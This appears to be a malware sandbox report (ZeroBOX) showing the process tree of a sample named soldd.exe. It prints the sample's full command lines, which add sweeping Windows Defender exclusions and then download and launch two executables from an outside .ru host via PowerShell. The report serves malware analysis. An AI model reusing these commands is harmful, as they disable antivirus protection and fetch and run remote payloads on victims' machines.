| ZeroBOX

soldd.exe "C:\Users\test22\AppData\Local\Temp\soldd.exe"
2784
- cmd.exe cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/Amongus.exe', (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe')" & exit
  2848
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    2928
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    3048
  - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))"
    2128
  - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/Amongus.exe', (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe'))"
    2176
  - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')"
    2088
  - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe')"
    2476

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents